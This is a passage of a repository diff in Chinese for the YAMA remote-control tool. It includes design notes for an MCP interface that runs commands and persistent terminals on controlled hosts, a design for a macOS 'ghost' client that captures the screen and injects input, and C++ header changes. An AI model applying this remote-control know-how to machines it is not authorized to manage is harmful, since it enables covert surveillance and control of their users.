| 元字符门 | `&|<>^` + 控制字符全拒(安全门) | `&|` + 换行拒(正确性门) |
| 审计 | `WM_SHOWERRORMSG` 标题「MCP命令执行」 | 标题「MCP持久终端」(open/exec/close 各一条) |
| 生命周期 | 命令结束即关 | 会话保持,闲置 300s 回收,`terminal_close` 显式关 |
| 会话隔离 | 单设备单终端 | 单设备单终端 + `session_id` 校验防串用 |
审计实现:`PostMessageA(WM_SHOWERRORMSG, new CString(...), new CString(_TR("...标题...")))` → 进入服务端 `m_MessageLog`,`get_audit_log` 可查。审计不可关闭。
---
## 8. 配置项
| 键 | 默认 | 说明 |
|---|---|---|
| `McpEnabled` | 0 | MCP 总开关 |
| `McpPort` | 6544 | 监听端口 |
| `McpBind` | 127.0.0.1 | 绑定地址(默认仅回环) |
| `McpToken` | (空→运行时兜底) | Bearer token |
| `McpReadonly` | 1 | 只读模式(禁 `exec_command` 与持久终端) |
| `McpCmdWhitelist` | (空→内置白名单) | `exec_command` 白名单,逗号分隔 |
| `McpTerminal` | 0 | 持久终端开关(要求 `McpReadonly=0`) |
**存储位置**:Release 版存**注册表** `HKCU\Software\YAMA\settings`(**不是** `settings.ini`;`settings.ini` 仅 Debug 版读取)。改动需**重启程序**生效。
**启动读取**(`2015RemoteDlg.cpp`):
```cpp
McpServer().SetReadonly(THIS_CFG.GetInt("settings", "McpReadonly", 1) != 0);
McpServer().SetCmdWhitelist(THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""));
McpServer().SetTerminalEnabled(THIS_CFG.GetInt("settings", "McpTerminal", 0) != 0);
```
**工具可见性**:`terminal_*` 三个工具在 `tools/list` 里**仅在** `IsTerminalEnabled() && !IsReadonly()` 时出现(门控在 `BuildToolsListResult`)。故默认配置下 `tools/list` 看不到它们。
---
## 9. 错误码
| 码 | 含义 | 触发点 |
|---|---|---|
| `-32001` | 超时 | `WaitTerminalReady`/`WaitTermCommand`/`WaitPending` 等超时 |
| `-32002` | 主机/会话不存在 | `FindMainContext` 失败、`session_id` 不匹配/未就绪/已关 |
| `-32003` | 设备忙 | 单设备单终端冲突、同 host 已有挂起请求 |
| `-32004` | 发送失败 | `Send2Client` 失败 |
| `-32005` | 非 Windows | LNX/MAC 客户端 |
| `-32006` | 已禁用/只读 | `IsReadonly()` 或 `!IsTerminalEnabled()` |
| `-32007` | 白名单拒绝 | `IsCommandAllowed` false |
| `-32008` | 含禁用字符 | `exec_command` 的 `&|<>^`;`terminal_exec` 的 `&|` |
| `-32602` | 参数非法 | `ParseHostIdArg` 失败、缺 required 参数 |
| `-32700` | JSON 解析错误 | 请求体非合法 JSON-RPC |
---
## 10. 排查指南(供后续人员/大模型)
### 10.1 `exec_command` 返回 `-32001` 超时
- 先看是不是**目标机环境问题**而非代码 bug:`nslookup`/`where` 在部分机器会因 DNS/文件系统异常稳定超时(见项目记忆)。裸 `nslookup <host>` 卡默认重试 20~40s > MCP 超时;`where cmd.exe` 在特定机器卡 PATH 解析。
- 服务端行为正确:超时返回 `-32001` 并清理终端会话,不挂起/崩溃。
### 10.2 `terminal_*` 在 `tools/list` 里看不到
- 检查 `McpTerminal=1` **且** `McpReadonly=0`。任一不满足,工具不出现且调用返回 `-32006`。
- 改配置后需**重启程序**(注册表配置启动时读)。
### 10.3 `terminal_exec` 返回 `-32002`
- 会话已被回收(闲置 >300s)、shell 已退出、或 `session_id` 拼错。重新 `terminal_open`。
- `terminal_close` 的 `-32002` 特指 **session_id 不匹配**(防串用)。
### 10.4 `-32003` 设备忙
- 单设备单终端:同 host 已有终端会话(持久或一次性)在飞。等它结束或 `terminal_close`。
- 紧接 `terminal_close`(会话 busy 时)后立刻 `terminal_open` 可能偶发 `-32003`:busy 会话的关闭是「标记 closed + 交等待线程清理」,清理完成前有极短窗口。重试一次即可,非死锁。
### 10.5 stdout 里出现命令本身 / 哨兵
- 命令本身回显 = ConPTY 输入回显,已由 `StripEchoedCommand` 服务端剔除(§2.4)。若仍出现,检查是否该行因编码(非 PTY 老管道的 GBK)与 `echoedLine` 字节不一致而 `find` 不到——老管道本应无回显。
- 哨兵 `__MCP_DONE_...` 出现 = 哨兵截断/清洗异常,通常意味着命令含 `&|` 破坏了控制操作符链(持久终端会提前 `-32008` 拒绝,一次性会 `-32008` 拒绝五元字符)。
### 10.6 中文/乱码
- 输出乱码:检查 `isPty` 与 `cp` 是否匹配(PTY=UTF-8,老管道=GBK)。
- **`get_audit_log` 中文正确**:`BuildGetAuditLog` 用 `ToUtf8(type/time/msg, 936)` 把 GBK 转 UTF-8,jsoncpp 输出 `\uXXXX` 转义,客户端解析后中文正常(已实测 `MCP持久终端`/`MCP命令执行`/`操作成功`/`主机上线` 等均无乱码)。
### 10.7 会话泄漏 / 子链接不关
- 三个擦除点:`WaitTermCommand`(closed/超时)、`CloseTermSession`、`SweepIdleTerminals`;以及 `OnTerminalClosed` 对**空闲持久会话**的直接擦除(§5.3)。排查时确认 shell 退出路径 `OnTerminalClosed` 是否命中、`COMMAND_NEXT` 是否漏发导致输出永不回流。
---
## 11. 关键源文件索引
| 文件 | 内容 |
|---|---|
| `server/2015Remote/McpServer.h` | `TermSession` 结构、`BeginTermOpen/Command/WaitTermCommand/CloseTermSession/SweepIdleTerminals` 声明、`m_terminalEnabled` |
| `server/2015Remote/McpServer.cpp` | `BuildExecCommand`(~1946)、`BuildTerminalOpen/Exec/Close`(~2345)、状态机方法(~2660)、`FindSentinel`(~2569)、`StripEchoedCommand`(~1935)、`SendTerminalCommandLine`(~2192)、`CleanTerminalOutput`(~2206)、`ResolveTerminalSessionHost`(~2160) |
| `server/2015Remote/McpSettingsDlg.h/.cpp` | `IDC_MCP_TERMINAL` 复选框、回填/落盘 `McpTerminal` |
| `server/2015Remote/2015RemoteDlg.cpp` | 启动读 `McpTerminal` → `SetTerminalEnabled` |
> 构建由 VS2019(MSBuild v143)完成;项目工具集 v142,无法在外部环境构建。
+576
View File
@@ -0,0 +1,576 @@
# macOS 远程桌面客户端设计文档
## 1. 概述
### 1.1 目标
在不影响现有 Windows/Linux 功能的基础上,为 YAMA 项目添加 macOS 客户端支持,前期实现远程桌面控制功能。
### 1.2 功能范围(Phase 1)
| 功能 | 优先级 | 状态 | 说明 |
|-----|--------|------|------|
| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
### 1.3 参考实现
- **Linux 客户端** (`linux/`): 架构相似,协议兼容
- **RustDesk**: 成熟的跨平台远程桌面开源项目
- **Sunshine**: 高性能游戏串流项目
---
## 2. 架构设计
### 2.1 目录结构(已实现)
```
YAMA/
├── common/ # 跨平台共享(已有)
│ ├── commands.h # 协议定义
│ └── ...
├── client/ # Windows 客户端(不动)
├── linux/ # Linux 客户端(不动)
└── macos/ # macOS 客户端(Phase 1 完成)
├── CMakeLists.txt # 构建配置
├── build.sh # 一键编译脚本
├── README.txt # 使用说明
├── IOCPClient.h # 网络客户端 stub
├── main.mm # 入口点 + 系统信息
├── Permissions.h # 权限检查声明
├── Permissions.mm # 权限检查实现
├── ScreenHandler.h # 屏幕捕获声明
├── ScreenHandler.mm # 屏幕捕获实现
├── InputHandler.h # 输入模拟声明
├── InputHandler.mm # 输入模拟实现
├── SystemManager.h # 进程管理声明
└── SystemManager.mm # 进程管理实现
```
### 2.2 模块依赖关系
```
┌─────────────────────────────────────────────────┐
│ main.mm │
│ (入口、权限检查、系统信息收集) │
└─────────────┬───────────────────────────────────┘
│
┌─────────┼─────────┬─────────────┐
▼ ▼ ▼ ▼
┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
│Screen │ │Input │ │System │ │IOCPClient │
│Handler│ │Handler│ │Manager│ │(网络 stub) │
└───┬───┘ └───┬───┘ └───────┘ └────────────┘
│ │
▼ ▼
┌─────────────────────────────────┐
│ macOS 系统框架 │
│ CoreGraphics (截屏) │
│ Carbon (键码定义) │
│ ApplicationServices (权限) │
└─────────────────────────────────┘
```
---
## 3. 技术选型
### 3.1 屏幕捕获方案(已选定)
| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
|-----|---------|------|--------|-----|
| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
**选择 CGDisplayCreateImage**:
- 实现简单,兼容性好
- 与 Linux 端 `XGetImage` 方案一致
- 足以支持 10-30 FPS 传输
### 3.2 输入模拟方案(已实现)
| 功能 | API | 实现状态 |
|-----|-----|---------|
| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
### 3.3 VK 键码映射(已实现)
Windows VK 码到 macOS CGKeyCode 的完整映射:
| 按键类型 | VK 范围 | macOS 映射 |
|---------|---------|-----------|
| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
| Win 键 | 0x5B-0x5C | kVK_Command |
### 3.4 差分算法(与 Linux 一致)
| 算法 | ID | 说明 |
|-----|-----|------|
| ALGORITHM_GRAY | 0 | 灰度压缩 |
| ALGORITHM_DIFF | 1 | BGRA 差分 |
| ALGORITHM_H264 | 2 | 硬件编码(未实现)|
| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
### 3.5 macOS 版本支持
| 版本 | 代号 | 发布年份 | 支持状态 |
|-----|------|---------|---------|
| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
| 10.14 | Mojave | 2018 | ✅ 支持 |
| 10.15 | Catalina | 2019 | ✅ 支持(需权限) |
| 11.x | Big Sur | 2020 | ✅ 支持 |
| 12.x | Monterey | 2021 | ✅ 支持 |
| 13.x | Ventura | 2022 | ✅ 支持 |
| 14.x | Sonoma | 2023 | ✅ 支持 |
**注意**:macOS 10.15+ 需要用户授予屏幕录制权限。
---
## 4. 权限处理
### 4.1 所需权限
| 权限 | 用途 | 最低要求版本 | 授权方式 |
|-----|------|------------|---------|
| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
### 4.2 权限检查实现(Permissions.mm)
```objc
// 检查屏幕录制权限
bool Permissions::checkScreenCapture() {
if (@available(macOS 10.15, *)) {
CGImageRef image = CGWindowListCreateImage(
CGRectMake(0, 0, 1, 1),
kCGWindowListOptionOnScreenOnly,
kCGNullWindowID,
kCGWindowImageDefault
);
if (image == nil) return false;
CGImageRelease(image);
return true;
}
return true; // 10.15 之前不需要权限
}
// 检查辅助功能权限
bool Permissions::checkAccessibility() {
return AXIsProcessTrusted();
}
// 请求辅助功能权限(弹出系统对话框)
void Permissions::requestAccessibility() {
NSDictionary *options = @{
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
};
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
}
```
### 4.3 权限引导流程
```
程序启动
│
▼
检查屏幕录制权限 ──否──▶ 打开系统偏好设置
│
是
│
▼
检查辅助功能权限 ──否──▶ 弹出授权对话框
│
是
│
▼
正常运行
```
---
## 5. 核心代码实现
### 5.1 ScreenHandler(已实现)
```objc
// ScreenHandler.h
class ScreenHandler {
public:
ScreenHandler();
~ScreenHandler();
bool init(); // 初始化
void start(IOCPClient* client, uint64_t id); // 开始捕获
void stop(); // 停止捕获
int getWidth() const;
int getHeight() const;
void sendBitmapInfo(); // 发送屏幕信息
void onReceive(const uint8_t* data, size_t size);
void applyQualityLevel(int8_t level, bool persist);
private:
bool captureScreen(std::vector<uint8_t>& buffer); // 截屏
void sendFirstScreen(); // 发送首帧
void sendDiffFrame(); // 发送差分帧
uint32_t compareBitmap(...); // 差分计算
void convertBGRAtoGray(...); // 灰度转换
void convertBGRAtoRGB565(...); // RGB565转换
void captureLoop(); // 捕获循环
// 成员变量
IOCPClient* m_client;
CGDirectDisplayID m_displayID;
BITMAPINFOHEADER_MAC m_bmpHeader;
std::vector<uint8_t> m_prevFrame, m_currFrame;
std::atomic<bool> m_running;
std::atomic<uint8_t> m_algorithm;
std::atomic<int> m_maxFPS;
};
```
### 5.2 InputHandler(已实现)
```objc
// InputHandler.h
class InputHandler {
public:
InputHandler();
~InputHandler();
bool init(); // 初始化(检查权限)
void handleInputEvent(const MSG64_MAC* msg); // 处理输入事件
bool hasAccessibilityPermission() const;
private:
void handleMouseMove(int x, int y);
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
void handleMouseWheel(int delta);
void handleKeyEvent(uint32_t vkCode, bool down);
static CGKeyCode vkToMacKeyCode(uint32_t vk); // VK 到 macOS 键码映射
bool m_hasPermission;
CGPoint m_lastMousePos;
bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
};
```
### 5.3 SystemManager(已实现)
```objc
// SystemManager.h
class SystemManager {
public:
SystemManager(IOCPClient* client, uint64_t clientID);
~SystemManager();
void onReceive(const uint8_t* data, size_t size);
private:
void sendProcessList(); // 进程列表
void killProcesses(const uint8_t* data, size_t size);
void sendWindowsList(); // 窗口列表
static std::vector<pid_t> getAllPids(); // 枚举进程
static std::string getProcessName(pid_t pid);
static std::string getProcessPath(pid_t pid);
};
```
### 5.4 main.mm(已实现)
主要功能:
- 命令行参数解析
- 权限检查和引导
- 系统信息收集(主机名、OS版本、CPU、内存等)
- 初始化各处理器
- 主事件循环
```objc
int main(int argc, const char* argv[]) {
@autoreleasepool {
// 1. 解析命令行参数
// 2. 检查权限
// 3. 收集系统信息
// 4. 初始化 ScreenHandler, InputHandler
// 5. 主循环
}
return 0;
}
```
---
## 6. 构建配置
### 6.1 CMakeLists.txt
```cmake
cmake_minimum_required(VERSION 3.15)
project(ghost_macos)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64") # Universal Binary
set(SOURCES
main.mm
ScreenHandler.mm
InputHandler.mm
SystemManager.mm
Permissions.mm
)
add_executable(ghost ${SOURCES})
target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
# 链接 macOS 框架
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
find_library(SECURITY_FRAMEWORK Security REQUIRED)
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
target_link_libraries(ghost PRIVATE
${COCOA_FRAMEWORK}
${COREGRAPHICS_FRAMEWORK}
${IOKIT_FRAMEWORK}
${IOSURFACE_FRAMEWORK}
${APPLICATIONSERVICES_FRAMEWORK}
${SECURITY_FRAMEWORK}
${CARBON_FRAMEWORK}
)
target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
```
### 6.2 编译命令
```bash
# 方式 1: 使用脚本
chmod +x build.sh
./build.sh
# 方式 2: 手动编译
mkdir build && cd build
cmake ..
make -j$(sysctl -n hw.ncpu)
# 输出: build/bin/ghost
```
---
## 7. 实现进度
### Phase 1: 基础框架 ✅ 完成
| 任务 | 状态 | 产出 |
|-----|------|------|
| 创建目录结构 | ✅ | `macos/` 目录 |
| CMakeLists.txt | ✅ | 构建配置 |
| Permissions.h/mm | ✅ | 权限检查 |
| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
| InputHandler.h/mm | ✅ | 输入模拟 |
| SystemManager.h/mm | ✅ | 进程管理 |
| main.mm | ✅ | 入口点 |
| IOCPClient.h | ✅ | 网络 stub |
### Phase 2: 网络集成 ⏳ 待实现
| 任务 | 状态 | 说明 |
|-----|------|------|
| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
| 心跳保活 | ⏳ | Heartbeat 机制 |
| 命令分发 | ⏳ | DataProcess 回调 |
### Phase 3: 功能完善 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 光标类型同步 | ⏳ |
| 多显示器支持 | ⏳ |
| 文件传输 | ⏳ |
| 剪贴板同步 | ⏳ |
### Phase 4: 代码保护 ⏳ 待实现
| 任务 | 状态 |
|-----|------|
| 服务端密钥对生成 | ⏳ |
| 服务端签名逻辑 | ⏳ |
| 闭源库 libYamaCore | ⏳ |
| 客户端绑定验证 | ⏳ |
---
## 8. 测试指南
### 8.1 编译前准备
```bash
# 安装 Xcode Command Line Tools
xcode-select --install
# 安装 CMake (通过 Homebrew)
brew install cmake
```
### 8.2 编译运行
```bash
# 获取代码
git clone <repo-url>
cd YAMA/macos
# 编译
./build.sh
# 运行
./build/bin/ghost [server_ip] [port]
```
### 8.3 首次运行权限授予
1. **屏幕录制权限**:
- 系统偏好设置 > 隐私与安全性 > 屏幕录制
- 添加 `ghost` 可执行文件
2. **辅助功能权限**:
- 系统偏好设置 > 隐私与安全性 > 辅助功能
- 添加 `ghost` 可执行文件
### 8.4 预期输出
```
=== macOS Ghost Client (Phase 1) ===
Server: 192.168.0.55:6543
Checking permissions...
Collecting system information...
Hostname: MacBook-Pro.local
OS: macOS 14.0.0
CPU: Apple M1 (0 MHz, 8 cores)
Memory: 16.0 GB
User: username
Resolution: 1:2560x1600
Executable: /path/to/ghost
Start Time: 2024-04-29 12:00:00
Initializing handlers...
Screen handler initialized: 2560x1600
Input handler initialized
=== Phase 1 Status ===
Screen Capture: READY
Input Control: READY
Network: STUB (Phase 2)
======================
Starting main loop (Ctrl+C to exit)...
```
---
## 9. 常见问题
### 9.1 编译问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
| CMake 找不到 | 未安装 CMake | `brew install cmake` |
| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
### 9.2 运行时问题
| 问题 | 原因 | 解决方案 |
|-----|------|---------|
| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
### 9.3 权限重置
```bash
# 如果权限状态混乱,可重置
tccutil reset ScreenCapture
tccutil reset Accessibility
```
---
## 10. 代码保护机制(待实现)
### 10.1 保护策略
核心思路:客户端内嵌服务端公钥,连接时验证服务端身份。
```
┌─────────────────────┐ ┌─────────────────────┐
│ macOS Client │ │ Your Server │
│ │ 1. 挑战请求 │ │
│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
│ │ libYamaCore.a │ │ │ │ 服务端私钥 │ │
│ │ (闭源) │ │ ◀───────────────── │ │ │ │
│ │ 内嵌服务端公钥 │ │ 2. 签名响应 │ └─────────────────┘ │
│ │ │ │ │ │
│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作 │
│ │ ─────▶ 不匹配 ──▶ 拒绝连接 │
│ └─────────────────┘ │ │ │
└─────────────────────┘ └─────────────────────┘
```
### 10.2 实施步骤
1. 生成服务端密钥对
2. 服务端添加签名逻辑
3. 创建闭源库 libYamaCore
4. 嵌入公钥编译
5. 客户端集成验证
---
## 11. 参考资料
### 11.1 官方文档
- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
### 11.2 开源项目参考
- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
---
## 12. 修订历史
| 日期 | 版本 | 修改内容 |
|-----|------|---------|
| 2026-04-28 | 1.0 | 初始版本(设计文档) |
| 2026-04-29 | 1.1 | 更新为实现文档,Phase 1 完成 |
Binary file not shown.
File diff suppressed because it is too large. Load diff
+62 -2
View File
@@ -6,6 +6,7 @@
#include "TrueColorToolBar.h" #include "TrueColorToolBar.h"
#include "IOCPServer.h" #include "IOCPServer.h"
#include <common/location.h> #include <common/location.h>
#include "common/commands.h"
#include <map> #include <map>
#include <unordered_map> #include <unordered_map>
#include <mutex> #include <mutex>
@@ -173,6 +174,9 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
void SortByColumn(int nColumn); void SortByColumn(int nColumn);
void ApplySort(); // 按偏好重排 m_HostList;无偏好时恢复默认顺序(上线先后)(调用方需持有 m_cs)
void LoadSortPreference();
void SaveSortPreference();
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult); afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort); static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam) template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
@@ -229,9 +233,10 @@ public:
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn, std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH"); const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = ""); void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -325,6 +330,30 @@ public:
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环 void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
// ===== 远程桌面质量等级配置(6 档 QualityProfile) =====
// 主控端 UI 偏好,持久化走 THIS_CFG [quality] 节。服务端权威,经 CMD_QUALITY_PROFILES
// 下发给客户端。仅 UI 线程访问;修改后需重开远程桌面会话才对新连接生效。
QualityProfile m_QualityProfiles[QUALITY_COUNT];
void LoadQualityProfilesFromCfg(); // 从 THIS_CFG 读到 m_QualityProfiles(缺省回落 GetQualityProfile)
void SaveQualityProfilesToCfg() const; // m_QualityProfiles 落盘到 THIS_CFG
const QualityProfile& GetQualityProfileCfg(int level) const; // 供 ScreenSpyDlg 下发用
void OnQualityLevels(); // 高级→远程桌面质量等级
// ===== 屏幕预览质量等级配置(6 档 PreviewProfile) =====
// 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
// 仅 UI 线程访问;修改后下次发预览请求即生效。
PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
void LoadPreviewProfilesFromCfg(); // 从 THIS_CFG 读到 m_PreviewProfiles(缺省回落 GetScreenPreviewProfile)
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
void OnPreviewLevels(); // 高级→屏幕预览质量等级
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
// 下载方向经 CMD_FILE_SPEED 下发到被控端(下次打开文件管理/远程桌面会话生效)。
void OnFileTransferSpeed(); // 高级→文件传输速度
void SendFileSpeedCommand(); // 把当前档位经主连接下发给被控端
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求 void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes); void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID); void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -337,11 +366,26 @@ public:
std::vector<int> m_PendingOffline; // 存储端口号 std::vector<int> m_PendingOffline; // 存储端口号
CListCtrlEx m_CList_Online; CListCtrlEx m_CList_Online;
CListCtrl m_CList_Message; CListCtrl m_CList_Message;
// 消息/审计日志的线程安全镜像(供 MCP get_audit_log 工具读取)。m_CList_Message 是
// CListCtrl、只能在 UI 线程访问,MCP 线程据此镜像读取。受 m_cs 保护,新在前、旧在后,
// 与 CListCtrl 显示顺序一致(索引一一对应,便于删除同步)。
struct LogMessage {
std::string type; // 类型(操作成功/主机上线/主机下线…)
std::string time; // 时间戳 "YYYY-MM-DD HH:MM:SS"
std::string msg; // 内容
};
std::vector<LogMessage> m_MessageLog;
CSplitterBar m_SplitterBar; CSplitterBar m_SplitterBar;
int m_nSplitPos = 160; // 消息区高度(像素),可拖动调整 int m_nSplitPos = 160; // 消息区高度(像素),可拖动调整
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端) std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射 std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
// 重复上线的替补连接:clientID -> 替补 context。
// 网络抖动导致客户端用新连接重复上线时,不立即替换/关闭旧连接(否则会触发客户端
// 反复重连抖动),而是把新连接暂存到这里;旧连接因心跳超时或断开被移除后,再取替补转正。
std::unordered_map<uint64_t, CONTEXT_OBJECT*> m_StandbyHosts;
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表 std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
bool m_bSortAscending = true; // 排序方向(true=升序)
std::set<std::string> m_GroupList; std::set<std::string> m_GroupList;
std::string m_selectedGroup; std::string m_selectedGroup;
std::string m_v2KeyPath; // V2 密钥文件路径 std::string m_v2KeyPath; // V2 密钥文件路径
@@ -361,6 +405,9 @@ public:
context* FindHostNoLock(int port); // caller must hold m_cs lock context* FindHostNoLock(int port); // caller must hold m_cs lock
context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock
bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引 bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引
void AddToStandbyList(CONTEXT_OBJECT* ctx); // 重复上线:暂存替补连接(替换旧替补)
void RemoveFromStandbyList(CONTEXT_OBJECT* ctx); // 连接断开时从替补列表移除(幂等)
bool PromoteStandby(uint64_t clientID); // 旧连接移除后,取替补转正(需持有 m_cs);返回是否真的转正
CStatusBar m_StatusBar; //状态条 CStatusBar m_StatusBar; //状态条
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64) ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
@@ -385,7 +432,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[63]; CBitmap m_bmOnline[69];
uint64_t m_superID; uint64_t m_superID;
